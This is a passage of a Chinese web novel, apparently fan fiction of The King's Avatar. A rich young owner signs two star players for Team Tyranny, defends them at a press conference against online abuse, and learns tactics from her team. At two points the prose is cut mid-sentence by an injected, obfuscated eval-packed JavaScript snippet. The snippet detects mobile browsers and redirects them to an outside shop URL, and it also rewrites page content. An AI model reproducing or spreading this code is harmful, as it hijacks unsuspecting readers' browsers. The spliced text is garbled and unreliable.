“怎么样?”秦昭昭转头问身后的韩文清和张新杰,“还满意吗?” 韩文清走到一台电脑前,坐下,试了试键盘手感,又看了看显示器,最后点点头:“不错。” 能让韩文清说“不错”,那就是相当不错了。 张新杰则更关注细节。他检查了网络接口,测试了网速,又看了看照明系统,最后推了推眼镜:“光线均匀,没有反光,网速稳定。训练环境很理想。” 秦昭昭松了口气。 她这几天盯着装修,跟工头吵了三次架,就为了把每个细节都做到最好。现在听到两位核心的认可,觉得所有的辛苦都值了。 “宿舍我也去看过了。”白言飞从外面跑进来,眼睛发亮,“秦总,我那房间也太棒了吧!落地窗,海景,大床,独立卫浴,还有个小沙发!这哪是宿舍啊,这简直是度假酒店!” 秦牧云跟在他身后,小声补充:“还有书桌和书架,可以放书和手办。” “对对对!”白言飞猛点头,“秦总,您这也太宠我们了吧!” 秦昭昭被夸得有点不好意思,但还是强装镇定:“那是当然,我的队员,就得住最好的地方。好了,大家先把东西搬回宿舍,下午张佳乐就到了,咱们晚上去吃饭,我请客!” 队员们欢呼一声,纷纷跑去酒店搬行李。 秦昭昭站在空荡荡的训练室里,环顾四周。阳光从落地窗洒进来,在地板上投下明亮的光斑。崭新的设备安静地等待着它们的主人,空气中还残留着一点点油漆的味道,但并不难闻。 她掏出手机,点开微信,张佳乐的头像旁边有个小红点。 点开,是他一个小时前发来的消息: “秦总,我下午三点的飞机到Q市。大概五点能到俱乐部。” 秦昭昭立刻回复: “收到!我在俱乐部等你!晚上我订了餐厅,给你接风洗尘!” 发完消息,她又给之前预定好的那家餐厅打电话确认。那是Q市最高档的海鲜餐厅,坐在包间里能看到整个海湾的夜景。她订了最大的包间,还特意交代要把菜单上最贵的菜都上一遍。 “对了,再准备个蛋糕。”秦昭昭补充,“要那种特别华丽的,上面写‘欢迎张佳乐、林敬言加入霸图’。” 餐厅经理连连答应,声音里都透着殷勤。 安排好一切,秦昭昭又去找李经理。 李经理正在办公室整理文件,看见她进来,赶紧站起身:“秦总,您找我?” “李经理,晚上吃饭你也来。”秦昭昭说,“吃完饭,咱们开个记者发布会。” 李经理一愣:“记者发布会?现在?这么突然?” “对啊。”秦昭昭点头,“张佳乐和林敬言都来了,银河战舰成型了,这么大的事,不得官宣一下吗?我都联系好媒体了,晚上八点,在俱乐部一楼大厅。” 李经理张了张嘴,想说什么,但看着秦昭昭那副“我已经决定了”的表情,又把话咽了回去。 这位大小姐做事,从来都是雷厉风行,说干就干。 “那……那需要准备什么吗?”李经理问。 “你准备个发言稿,简单介绍一下两位新队员。”秦昭昭说,“我就不发言了,我社恐。” 李经理:“……” 他看着秦昭昭那副跃跃欲试、大大咧咧的样子,怎么也不像社恐。 “好的秦总,我这就准备。”李经理认命地说。 下午四点,秦昭昭站在俱乐部门口,翘首以盼。 她今天特意打扮过,穿了件浅蓝色的连衣裙,头发梳成利落的马尾,脸上化了淡妆。看起来既有老板的正式,又不失少女的活泼。 四点四十分,一辆出租车停在门口。 车门打开,张佳乐走了下来。 他今天没穿队服,就一件简单的黑色T恤配牛仔裤,头发还是在脑后扎了个小辫子。脸上戴着墨镜,背了个双肩包,手里拉着行李箱。 看见秦昭昭,他摘下墨镜,笑了:“秦总,您还亲自来接啊?” “那必须的!”秦昭昭迎上去,“欢迎来到霸图!” 张佳乐看着眼前焕然一新的俱乐部大楼,挑了挑眉:“这……跟我想象中的霸图不太一样。” “刚装修完,新鲜出炉!”秦昭昭得意地说,“走吧,我带你进去看看。” 她带着张佳乐走进大厅,一边走一边介绍:“这边是荣誉墙,那边是周边商店。训练室在二楼,宿舍在五楼,食堂在一楼后面……对了,你的房间我都安排好了,海景房,视野特别好。” 张佳乐跟着她,一路走一路看,表情越来越微妙。 他想象中的霸图,应该是那种硬汉风格,简单粗暴,实用至上。但现在看到的,却是精致、舒适、甚至有点奢华。 这哪是电竞俱乐部啊,这简直是五星级度假村。 “秦总……”张佳乐终于忍不住开口,“您这装修……花了多少钱啊?” “没多少没多少。”秦昭昭摆摆手,“反正钱花在刀刃上,值!” 张佳乐不说话了。 他忽然想起百花俱乐部那个有点老旧但充满回忆的训练室,想起那些用了好几年的设备,想起那个总是抱怨预算不够的老板。 跟这里比起来,百花简直像是上个世纪的产物。 “我先带你去训练室看看。”秦昭昭说,“韩队和张副队都在那儿。” 二楼训练室,门虚掩着。 秦昭昭推开门,里面的人齐刷刷转过头。 韩文清坐在电脑前,正在看比赛录像。张新杰坐在他旁边,手里拿着平板在做笔记。林敬言坐在另一边,正在跟白言飞说什么,两人都笑得很开心。秦牧云坐在最角落,专心致志地练着操作。 看见张佳乐,所有人都站了起来。 训练室里安静了几秒。 这些人都太熟悉彼此了。赛场上交手过无数次,互为对手,互相研究,互相针对。现在突然成了队友,那种感觉……很复杂。 最后还是韩文清先开口:“欢迎。” 张佳乐看着韩文清,又看看张新杰,再看看林敬言,忽然笑了:“这下好了,联盟里最不好惹的几个人,几乎全凑一块儿了。” 他这话说得很轻松,但话里的意思大家都懂。 韩文清的刚猛,张新杰的严谨,林敬言的狡猾,再加上他的华丽……这样多变的组合,放在整个联盟历史上都是独一份。 “以后就是队友了。”林敬言走过来,拍了拍张佳乐的肩膀,“多多指教。” “彼此彼此。”张佳乐笑着说。 白言飞最兴奋,凑过来问:“张佳乐前辈,您的百花式打法真的太帅了!能不能教教我?我玩元素法师的,总觉得技能放得不够华丽。” 张佳乐被他的热情逗笑了:“华丽是需要代价的。百花式打法对操作要求很高,而且很耗蓝。你要学的话,得先练好基本功。” “我练我练!”白言飞猛点头。 “好了好了,以后有的是时间聊。”秦昭昭拍了拍手,“现在,大家去换衣服,咱们去吃饭!我订了Q市最好的餐厅,今晚不醉不归!” 晚上六点,餐厅包间。 巨大的圆桌上摆满了精致的菜肴。清蒸龙虾,红烧鲍鱼,葱烧海参,芝士焗蟹……每道菜都色香味俱全,光是看着就让人食指大动。 桌子中间摆着一个三层的大蛋糕,奶油裱花做得特别精致,上面用巧克力酱写着:欢迎张佳乐、林敬言加入霸图。 “秦总,您这也太破费了。”张佳乐看着这一桌菜,有点不好意思。 “不破费不破费。”秦昭昭拿起酒杯,“来,第一杯,欢迎两位新队友加入霸图!以后咱们就是一家人了!” “干杯!” 所有人都举起杯。 玻璃杯碰撞在一起,发出清脆的响声。橙黄色的果汁在灯光下闪闪发亮——秦昭昭特意交代了,职业选手不能喝酒,所以全部上果汁。 “第二杯。”韩文清也举起杯,他看着张佳乐和林敬言,“欢迎,一起拿冠军。” 这话从韩文清嘴里说出来,分量格外重。 张佳乐和林敬言对视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908393|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,都从对方眼里看到了同样的东西。坚定,期待,还有那份对冠军从未熄灭的渴望。 “一起拿冠军!”两人异口同声。 杯子再次碰撞。 这顿饭吃得特别热闹。大家聊比赛,聊战术,聊职业圈的趣事。张佳乐讲起百花的故事,林敬言说起呼啸的往事,韩文清偶尔插两句,张新杰则一直在默默地给大家夹菜。他发现秦昭昭光顾着说话,都没怎么吃。 “秦总,您多吃点。”张新杰把一盘龙虾转到她面前。 “谢谢张副队!”秦昭昭感动得眼泪汪汪。 这就是被照顾的感觉吗?真好! 吃完饭,秦昭昭让人把蛋糕切了。每个人都分到一大块,奶油香甜,水果新鲜,巧克力浓郁。 白言飞吃得满嘴都是奶油,含含糊糊地说:“秦总,这蛋糕也太好吃了!以后咱们过生日都订这家吧!” “行啊。”秦昭昭爽快答应,“以后你们谁过生日,我都订大蛋糕!” 秦牧云小声说:“谢谢秦总。” 晚上七点半,吃饱喝足后一行人回到俱乐部。 一楼大厅已经布置好了。背景板是霸图的深蓝色,上面印着巨大的队徽。前面摆了一排椅子,留给记者。旁边架着摄影机,灯光打得很亮。 已经有记者陆陆续续到了,看见他们进来,相机快门声立刻响成一片。 秦昭昭深吸一口气,对李经理说:“李经理,交给你了。” 李经理点点头,整理了一下西装,走到台前。 “各位媒体朋友,晚上好。感谢大家参加霸图俱乐部今晚的记者发布会。今天,我们有两件重要的事情要宣布……” 秦昭昭站在台下,看着台上的李经理侃侃而谈,看着张佳乐和林敬言坐在台上,看着闪光灯不停地闪烁,心里涌起一股难以言喻的成就感。 李经理讲完后,是记者提问环节。 “张佳乐选手,请问您为什么选择离开百花,加入霸图?” 张佳乐拿起话筒,沉默了几秒,然后开口:“为了冠军。在百花,我很快乐,但我离冠军总是差一点。霸图给了我一个新的机会,一个新的舞台。我想试试,看能不能走得更远。” “林敬言选手,您呢?” 林敬言笑了笑:“跟张佳乐一样,为了冠军。而且秦总……很有诚意。” “韩文清队长,请问您对两位新队友有什么期待?” 韩文清言简意赅:“一起赢。” “张新杰副队长,战队阵容变化这么大,战术体系需要重新设计吗?” 张新杰推了推眼镜:“已经在设计了。新的阵容会有新的打法,具体内容暂时保密。” 提问环节进行了半个小时,记者们问了很多问题,从转会细节到战术安排,从个人目标到团队期望。台上的每个人都回答得很得体,既透露了足够的信息,又保留了一些神秘感。 秦昭昭在台下看着,心里特别骄傲。 这就是她的队员们。专业,沉稳,有魅力。 发布会结束,记者们陆续离开。大厅里渐渐安静下来。 秦昭昭走上台,看着还坐在那里的队员们,笑了:“辛苦了各位。今晚好好休息,明天开始,正式训练。” 张佳乐站起身,伸了个懒腰:“终于要开始了。我都快手生了。” “我也是。”林敬言说,“在呼啸的时候天天练,这几天没怎么碰电脑,总觉得少了点什么。” “那明天就补回来。”韩文清说,“训练计划已经做好了。” 张新杰点头:“我会发到每个人邮箱。” 队员们互相道了晚安,各自回宿舍。 秦昭昭站在空荡荡的大厅里,看着那个巨大的霸图队徽,心里充满了力量。 从今天起,霸图就不再是原来的霸图了。 它有最顶尖的选手,有最好的条件,有最明确的目标。 剩下的,就是拼命训练,然后在赛场上证明自己。 她拿出手机,给老爹发了条消息: “爸,我的银河战舰,今天正式启航了。” 几分钟后,老爹回复: “闺女牛逼!爸为你骄傲!钱不够跟爸说,爸给你打!” 秦昭昭看着那条消息,笑了。 有这样一个爹,真是……太幸福了。 她收起手机,走出俱乐部。夜晚的海风带着咸湿的味道,吹在脸上很舒服。抬头看,满天繁星,每一颗都亮晶晶的。 就像她战队里的每个人一样。 每一颗星,都有自己的光芒。 而当它们聚在一起,就能照亮整片夜空。 秦昭昭深吸一口气,迈开步子,朝自己的房间走去。 步伐轻快,心情飞扬。 明天,又是新的一天。 8. 买下霸图的第八天 第二天早上,秦昭昭是被手机震动声吵醒的。 她迷迷糊糊地摸过手机,屏幕上一连串的推送消息差点把手机卡死——微博、新闻客户端、荣耀论坛……全都在说同一件事:张佳乐和林敬言转会霸图。 点开微博,热搜榜前十有五个跟这事相关。 #张佳乐转会霸图# #林敬言加盟霸图# #霸图银河战舰# #百花粉丝心碎# #呼啸队长离队# 秦昭昭揉着眼睛坐起来,点开第一个话题。里面的讨论已经炸开了锅,转发评论点赞数都在以肉眼可见的速度上涨。 她往下翻了翻,心情从最初的兴奋慢慢沉了下来。 有祝福的,有期待的,但也有很多……很难听的话。 “张佳乐为什么要走?百花养你这么多年,你说走就走?叛徒!” “林敬言在呼啸当了这么多年队长,现在拍拍屁股走人?对得起呼啸的粉丝吗?” “百花没了张佳乐还叫百花吗?干脆解散算了。” “呼啸也是,林敬言一走,整个队魂都没了。” “粉转黑,以后张佳乐林敬言的比赛我一场都不会看。” “霸图真有钱啊,挖人挖得这么狠,把别人家的核心都挖走了。” “秦昭昭不就是个富二代吗,拿钱砸人,真恶心。” 这些评论像针一样扎进秦昭昭的眼睛里。 她咬着嘴唇继续往下翻,发现自己的微博评论区也被攻陷了。昨晚那条庆祝银河战舰成型的微博下面,盖起了几千层楼,有支持她的霸图粉丝,但也有很多从百花和呼啸那边跑过来骂人的。 “秦大小姐,您这么有钱,怎么不去买冠军奖杯啊?” “挖人挖得这么狠,不怕遭报应吗?” “张佳乐和林敬言就是看钱去的吧?为了钱连老东家都不要了。” “霸图以后去百花和呼啸的主场比赛,等着被扔矿泉水瓶吧!” 秦昭昭盯着那些评论,手指紧紧捏着手机,指节都泛白了。 她不是没想过转会会引起争议,但没想到会这么激烈。 特别是那些对张佳乐和林敬言的人身攻击,那些“叛徒”“忘恩负义”的指责,看得她心里特别难受。 她知道张佳乐为了百花付出了多少,知道林敬言对呼啸的感情有多深。这两个人做出转会的决定,内心一定经历了无数挣扎。可现在,他们却被曾经支持自己的粉丝这样骂。 这不公平。 秦昭昭深吸一口气,从床上跳下来,快速洗漱换衣服。她今天穿了件黑色的西装外套,头发扎成低马尾,显得她很干练,脸上没化妆,但表情特别严肃,整个人气质都变了。 她要为她的选手撑腰。 到俱乐部时,训练室里已经有人在训练了。韩文清坐在电脑前,屏幕上是昨晚记者发布会的新闻页面。张新杰坐在他旁边,正在看微博评论。林敬言和张佳乐也来了,两人都没说话,只是沉默地盯着屏幕。 气氛有点沉重。 秦昭昭推门进去,所有人都抬起头看她。 “秦总……”张佳乐想说什么,但秦昭昭抬手制止了他。 “我都看到了。”秦昭昭走到训练室中央,环视一圈,“网上那些话,你们别往心里去。转会是很正常的事,选手有权利追求更好的发展,追求冠军。你们没做错任何事。” 林敬言苦笑:“话是这么说,但看到那些评论……还是有点难受。我在呼啸打了这么多年,那些骂我的人里,可能还有曾经给我加油的粉丝。” “我也一样。”张佳乐声音很低,“百花……就像我的家一样。现在家没了,还被家人骂,这感觉……” 他说不下去了。 秦昭昭看着他们,心里特别不是滋味。 她知道,再多的安慰话都没用。那些伤害已经造成了,只能靠时间去治愈。 但她可以做一件事,告诉所有人,她的选手,她来护着。 “李经理。”秦昭昭转身,“联系媒体,今天下午再开一次记者发布会。我要亲自说话。” 李经理一愣:“秦总,您要说什么?” “我要为张佳乐和林敬言发声。”秦昭昭语气坚定,“我要告诉所有人,他们来霸图,是我硬要挖的,是我出高价买的,是我死缠烂打求他们来的。要骂就骂我,别骂我的选手。” 训练室里安静了几秒。 张佳乐抬起头,眼睛有点红:“秦总,您没必要这样……” “有必要。”秦昭昭打断他,“我是老板,保护我的队员是我的责任。而且我说的是实话啊,本来就是我硬要挖你们的嘛。” 她这话说得理直气壮,把原本沉重的气氛都冲淡了一些。 林敬言看着她,忽然笑了:“秦总,您这样……会得罪很多人的。” “得罪就得罪呗。”秦昭昭耸了耸肩满不在乎,“反正我也不靠他们吃饭。再说了,我爹说了,我开心最重要。我现在不开心,因为我的队员被人骂了,所以我要让他们知道,骂我的人可以,骂我的人不行。” 她说这话时表情特别认真,一点开玩笑的意思都没有。 韩文清从电脑前抬起头,看了她一眼,然后点点头:“我支持。” 张新杰推了推眼镜:“秦总说得对。选手转会是很正常的事,不应该承受这么多恶意攻击。我们需要一个正式的表态。” 白言飞也举手:“我也支持!那些骂人的太过分了!张佳乐前辈和林敬言前辈明明那么好!” 秦牧云小声说:“支持秦总。” 秦昭昭看着这群人,心里暖洋洋的。 这就是她的战队。不管外面风浪多大,关起门来,大家永远站在一起。 “那就这么定了。”秦昭昭对李经理说,“下午两点,还是在一楼大厅。你去准备吧。” 李经理点点头,转身去忙了。 秦昭昭又看向张佳乐和林敬言:“你们俩,今天别上网了,手机没收,专心训练,晚上再给你们。网上的事交给我。” 张佳乐张了张嘴,想说什么,但最后还是只说了句:“谢谢秦总。” 林敬言也点头:“谢谢。” 下午两点,霸图俱乐部一楼大厅。 记者比昨晚还多。昨晚是官宣,今天是回应争议,这种戏码媒体最喜欢了。 秦昭昭站在台上,看着下面密密麻麻的记者和镜头,深吸一口气。 她不紧张,她只是有点生气。 李经理先做了简单的开场白,然后就把话筒递给了秦昭昭。 秦昭昭接过话筒,清了清嗓子,开口:“各位媒体朋友,大家好。今天临时召开这个发布会,主要是想回应一下关于张佳乐选手和林敬言选手转会的一些争议。” 台下瞬间安静下来,只有相机快门声还在响。 “首先,我想明确一点。”秦昭昭声音清晰,语速不快不慢,“张佳乐选手和林敬言选手转会霸图,是我主动联系的,是我死缠烂打的,是我出高价挖的。整个过程,他们俩都很犹豫,都很不舍,都经历了很长时间的思想斗争。所以,如果有人要骂,请骂我,别骂他们。” 台下响起一阵骚动。 有记者举手:“秦总,您这么说,不怕得罪百花和呼啸的粉丝吗?” “我怕。”秦昭昭很坦诚,“但我更怕我的选手受委屈。张佳乐在百花打了五年,最好的青春都献给了百花。林敬言在呼啸当了那么多年队长,带着呼啸从一支中游队伍打到季后赛强队。他们对老东家是有感情的,转会对他们来说,不是一个轻松的决定。” 她顿了顿,继续说:“但职业选手的生涯很短暂,他们都有追求冠军的权利。在百花,在呼啸,他们离冠军总是差一点。而在霸图,他们有这个机会。所以我挖他们,我出高价,我给他们最好的条件,我承诺他们会组建一支有竞争力的队伍——这些,都是我的选择,我的责任。” 台下又有人举手:“秦总,网上有人说您是用钱砸人,您怎么看?” “钱是我爹的,我想怎么花就怎么花。”秦昭昭说得理直气壮,“而且我觉得,把钱花在值得的人和事上,没什么不对。张佳乐值三千五百万,林敬言值两千五百万,我觉得很值。至于别人怎么看,我不在乎。” 这话说得太直白,台下又是一阵骚动。 秦昭昭没管他们,继续说:“另外,我想对那些在网络上恶意攻击张佳乐和林敬言选手的人说几句。” 她的声音忽然冷了下来。 “转会是很正常的事,选手有权利做出对自己职业生涯最好的选择。你们可以不舍,可以难过,可以表达自己的情绪,但请别上升到人身攻击。张佳乐和林敬言是人,是有感情的人,你们的那些话,会伤害到他们。” 她盯着台下的镜头,一字一句地说:“如果让我发现,还有人在网上对他们进行恶意的人身攻击,别怪我不客气。霸图有专业的法务团队,我们会保留追究法律责任的权利。” 这话说完,台下彻底安静了。 所有人都没想到,这个看起来年纪轻轻、总是笑眯眯的女老板,强硬起来会这么吓人。 秦昭昭最后说:“张佳乐和林敬言,想走就走。这是他们的自由,也是他们的权利。而作为霸图的老板,我会尽我所能,保护好我的每一个选手。就这样,谢谢大家。” 她把话筒还给李经理,转身走下台。 整个过程,不到十分钟。 但信息量太大了。 记者们反应过来后,立刻开始疯狂写稿。微博上,相关话题的热度再次飙升。 #秦昭昭为选手发声# #张佳乐林敬言想走就走# #霸图老板强硬回应# #职业选手转会自由# 秦昭昭的微博评论区,风向也开始变了。 之前那些骂人的评论,被霸图粉丝和张佳乐林敬言的个人粉丝刷了下去。现在前排全是支持的声音。 “秦总霸气!保护我方选手!” “说得太好了!选手转会很正常,凭什么骂人?” “张佳乐在百花打了六年,林敬言在呼啸打了五年,他们对得起老东家了!” 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白言飞凑过来:“秦总太帅了!我要把发布会视频存下来,每天看一遍!” 秦牧云小声说:“秦总是好人。” 张佳乐看着这群人,忽然笑了。 也许,来霸图真的是个正确的选择。 这里不只有冠军的希望,还有……家的感觉。 而与此同时,职业选手群里,已经炸开了锅。 夜雨声烦:我去我去我去!秦昭昭这么猛的吗?直接开记者发布会怼人?还说‘想走就走’?这话说得也太硬了吧!@百花缭乱 @唐三打你俩什么感觉?是不是感动得稀里哗啦的? 王不留行:确实很强势。不过说得在理,选手转会自由。 一枪穿云:支持。 一叶之秋:你们霸图新老板真不错啊。 沐雨橙风:吃瓜.ing 风城烟雨:秦昭昭这人……有点意思。明明是个外行,但护起犊子来一点都不含糊。 生灵灭:从管理角度看,她今天的做法虽然有点冲动,但效果不错。至少把舆论焦点从选手身上转移到了自己身上。 夜雨声烦:@大漠孤烟 @石不转老韩老张!你们新老板这么猛,你们知道吗?她平时在俱乐部也这样吗?会不会很凶?会不会骂人?会不会扣工资? 大漠孤烟:训练,勿扰。 石不转:秦总对队员很好。今天的发布会,我们支持。 百花缭乱:……谢谢大家关心。我挺好的。 唐三打:+1 夜雨声烦:你俩就这么简单?不说点感想?被老板这么护着,难道不感动吗?不激动吗?不想说点什么吗? 百花缭乱:感动,但说不出来。 唐三打:同上。 夜雨声烦:没意思没意思!你俩太闷了!哎你们老板怎么没加群啊,真没意思,还想采访一下她的。 群里吵吵闹闹,但气氛比之前轻松多了。 秦昭昭这会儿正在接老爹的电话。 “闺女!干得漂亮!”秦大海在电话那头哈哈大笑,“就该这样!谁欺负咱的人,咱就怼回去!钱不够跟爸说,爸给你请最好的律师,告死那些骂人的!” 秦昭昭哭笑不得:“爸,没那么严重。我就是表个态,让他们知道咱们不是好欺负的。” “对!就得这样!”秦大海很满意,“我闺女长大了,会护着自己的人了。爸为你骄傲!” 挂掉电话,秦昭昭靠在椅背上,看着窗外的海。 海面很平静,阳光洒在上面,像铺了一层金子。 她想起刚才发布会上说的那些话,想起张佳乐和林敬言感动的眼神,想起队员们支持的表情。 忽然觉得,当老板也不仅仅是为了好玩。 还有一种责任。 一种保护那些追逐梦想的人的责任。 一种给他们撑起一片天,让他们安心去飞的责任。 这种责任,很重,但也很值得。 秦昭昭打开电脑,登录荣耀。 她的拳法家昭昭日月还站在主城里,她操作着角色跑了几圈,打了几场竞技场,心情慢慢平静下来。 荣耀的世界很简单。 赢,或者输。 而她要做的,就是让她的队员们,赢得多一点,输得少一点。 直到站上最高的领奖台。 直到举起那个闪闪发光的冠军奖杯。 直到让所有人知道,他们的选择,没有错。 秦昭昭退出游戏,打开文档,开始写下一阶段的计划。 装修完成了,选手到齐了,舆论也回应了。 接下来,就是埋头训练,备战新赛季。 而她,要继续当好这个老板。 给队员们最好的条件,给他们最大的支持,给他们最坚定的后盾。 让他们心无旁骛地去追逐荣耀。 去实现梦想。 去创造历史。 9. 买下霸图的第九天 转会风波过去后,霸图俱乐部终于回归了平静。或者说,一种热闹而有序的平静。 装修完毕的新训练室成了队员们最喜欢待的地方。每天早上八点,韩文清总是第一个到。他会在训练开始前先做半小时体能训练,然后在自己的电脑前坐下,开始复盘昨天的训练录像。 张新杰通常是第二个到的,八点零五分准时推门进来。他会先检查一遍训练室的设备,确认网络稳定,温度适宜,光线合适,然后才在自己的位置上坐下,打开平板开始安排当天的训练计划。 林敬言和张佳乐来得稍晚一些,大概八点半左右。两人都是老选手,作息已经很规律了。张佳乐通常会带着一杯咖啡,头发还湿漉漉的,一看就是刚洗完澡。林敬言则永远是一身整齐的衬衫,头发梳得一丝不苟,像个要去上课的大学教授。 白言飞和秦牧云这两个年轻选手最积极,恨不得住在训练室。白言飞总是咋咋呼呼的,一进门就喊:“韩队早!张副队早!两位前辈早!”秦牧云则安静得多,只是默默点头打招呼,然后坐到自己的位置上开始热身。 而秦昭昭……秦昭昭的作息就比较随性了。 作为老板,她理论上不需要早起训练。但作为一个刚入坑荣耀三个月、对职业圈充满好奇的新人,她恨不得二十四小时泡在训练室里看大神们操作。 所以每天早上九点左右,训练室的门会被轻轻推开一条缝,秦昭昭的脑袋从门缝里探进来,眨巴着眼睛问:“我可以进来吗?” 第一次这样的时候,把正在专心训练的白言飞吓了一跳,手指一抖按错了技能键,屏幕上的元素法师对着空气放了个大招。 “秦、秦总?”白言飞结结巴巴,“您怎么来了?” “我来学习啊!”秦昭昭理直气壮地走进来,拉了把椅子坐到韩文清身后,“韩队,我能看你训练吗?” 韩文清头也不回:“随便。” 于是从那天起,秦昭昭就成了训练室的常客。她不打扰队员们训练,就安安静静地坐在后面看,偶尔拿出小本本记点什么,表情认真得像个小学生。 张新杰注意到她的小本本,有一次训练间隙好奇地问:“秦总,您在记什么?” 秦昭昭翻开本子,上面密密麻麻写满了字:“我在记你们每个人的操作习惯啊。比如韩队,他每次用伏虎腾翔之前,左手小指会无意识地敲一下空格键。张副队,你放治疗术的时候,眼睛会先看一下团队血条,然后再看技能栏。张佳乐放百花式打法的时候,呼吸会变快。林敬言……嗯,林敬言前辈好像没什么特别习惯,他太稳了。” 训练室里安静了几秒。 所有人都转过头看她。 张佳乐瞪大眼睛:“秦总,您连我呼吸都观察?” “对啊。”秦昭昭点头,“我觉得特别有意思。每个人打游戏时的状态都不一样,就像每个人都有自己独特的签名一样。” 林敬言推了推眼镜:“秦总,您这观察力……不去当分析师可惜了。” “分析师?”秦昭昭眼睛一亮,“我可以吗?” “不可以。”韩文清直接泼冷水,“你玩荣耀才三个月。” 秦昭昭撇嘴:“三个月怎么了?三个月就不能当分析师了?” 张新杰推了推眼镜,很客观地说:“秦总,分析师需要大量的数据和理论基础支撑。您的观察很细致,但缺乏系统性的知识框架。” “那你们教我啊!”秦昭昭来劲了,“反正我闲着也是闲着,不如学点东西。张副队,你战术最厉害了,能教我吗?” 张新杰沉默了。 他见过很多想学战术的人,但像秦昭昭这样,一脸“我就是想学好玩”的表情的,还是第一次见。 “可以。”他最后点头,“从基础开始。” 于是从那天起,秦昭昭的日常又多了一项——跟张新杰学战术。 每天下午训练结束后,张新杰会抽出一个小时,在白板上给秦昭昭讲解基础战术理论。从最简单的阵型站位,到复杂的技能衔接,从地图理解,到职业克制…… 秦昭昭学得很认真,虽然很多概念对她来说太难了,但她从来不喊累。 “张副队,这个三角站位是什么意思?” “就是三个人站成一个三角形,互相掩护。” “那为什么不是正方形?” “……正方形需要四个人。” “哦对!那五个人可以站五角星吗?” 张新杰推了推眼镜,开始思考自己是不是接了个不该接的任务。 而秦昭昭跟韩文清的互动,就更……直接了。 她一直想提升自己的拳法家水平,所以时不时会跑去请教韩文清。 “韩队韩队,拳法家怎么打魔道学者啊?我老是被溜。” “贴身,别让他飞起来。” “可是他飞得好快啊!” “预判落点。” “怎么预判?” 韩文清通常会直接站起来:“打一局。” 然后秦昭昭就会被虐得怀疑人生。 但她从不气馁,输了就复盘,复盘完再问,问完再打,打了再输……循环往复。 有一次张佳乐看不下去了,在旁边说:“秦总,您这毅力,要是用在玩弹药专家上,早就成大神了。” 秦昭昭摇头:“不要,我就要玩拳法家。拳拳到肉多爽。” 张佳乐哭笑不得。 他觉得这个新老板就像个永远充满好奇心的小孩,对什么都感兴趣,对什么都想试试,而且试了就不放弃。 跟林敬言的相处,则温和得多。 林敬言是那种很会照顾人的人。他发现秦昭昭经常因为看训练忘了吃饭,就会在午饭时间主动去叫她。 “秦总,该吃饭了。” “啊?这么快?我还没看完这个战术图……” “吃完饭再看,不然对胃不好。” “好吧……” 然后林敬言就会像带小孩一样,把秦昭昭带到食堂,看着她把饭吃完,再把她送回训练室。 秦昭昭特别感动:“林敬言,你好像我哥啊。” 林敬言笑了:“我在呼啸的时候,也经常这样照顾方锐那小子。习惯了。” “方锐?”秦昭昭眨眨眼,“呼啸那个玩盗贼的选手?” “对。”林敬言眼神温柔,“那小子,闹腾得很,但天赋是真的好。我走了之后,呼啸就靠他了。” 秦昭昭看着他的表情,忽然问:“林敬言,你会不会后悔来霸图?” 林敬言沉默了一会儿,然后摇头:“不后悔。在呼啸,我能做的都做了。现在来霸图,是新的开始。而且……” 他看向训练室里正在认真训练的队员们:“这里的人,都很好。韩队的担当,张副队的严谨,张佳乐的热情,还有那几个小年轻的拼劲……跟这些人一起追逐冠军,我觉得很值。” 秦昭昭用力点头:“嗯!我也觉得值!” 日子就这样一天天过去,训练、学习、吃饭、睡觉……周而复始,但从不枯燥。 某天,秦昭昭终于第一次在竞技场里用拳法家打赢了一个魔道学者。虽然对方只是个普通玩家,不是职业选手,但她还是兴奋得在训练室里跳了起来。 “韩队韩队!我赢了!你看回放!我用你教我的那招预判落点,然后伏虎腾翔接崩拳,一套连招打了他百分之七十的血!” 韩文清看了一眼回放,点点头:“有进步。” 就这三个字,让秦昭昭高兴了一整天。 又是某天,张新杰给她布置的战术作业,她居然全做对了。 “张副队你看!这个地图的最佳伏击点我都标出来了!还有这个阵容的职业克制链,我也分析对了!” 张新杰推了推眼镜,很客观地评价:“正确率百分之八十五,比上周提高了百分之二十。进步很大。” 秦昭昭美滋滋地把作业收起来,觉得自己离“战术大师”又近了一步。 再某天,张佳乐心血来潮,要教秦昭昭玩弹药专家。 “秦总,你看啊,这个技能要这样放,才会有烟花效果。这个手雷要扔在这个角度,才能炸到最多的人。这个……” 他讲得眉飞色舞,秦昭昭听得头晕眼花。 最后她诚恳地说:“张佳乐,我觉得我还是适合玩拳法家。弹药专家太复杂了,我手跟不上脑子。” 张佳乐哈哈大笑:“没关系,各有所长嘛。您玩拳法家也挺好的,至少……很直白。” 秦昭昭觉得这不是夸奖,但她就当是夸奖了。 训练之余,队员们也会有些娱乐活动。 白言飞最爱拉着秦牧云打赌,赌今天韩队会说几句话,赌张副队会推几次眼镜,赌张佳乐前辈会喝几杯咖啡…… 秦牧云通常不赌,但会被白言飞硬拉着下注。 有一次白言飞赌输了,要请全队喝奶茶。秦昭昭知道了,大手一挥:“我请!想喝什么随便点!” 然后那天下午,训练室里人手一杯奶茶,连韩文清面前都放了一杯,虽然他一口都没喝。 张新杰看着那杯奶茶,推了推眼镜:“秦总,糖分摄入过多会影响反应速度。” 秦昭昭赶紧说:“就今天一次!下不为例!” 张新杰这才端起奶茶,小口小口地喝起来,动作优雅得像在品茶。 林敬言看着这一幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张新杰叹了口气:“不算糟,但需要时间。他们的个人能力都很强,但配合起来……就像把一群独奏家凑在一起合奏,每个人都有自己的节奏,需要磨合。” “那要多久才能磨合好?” 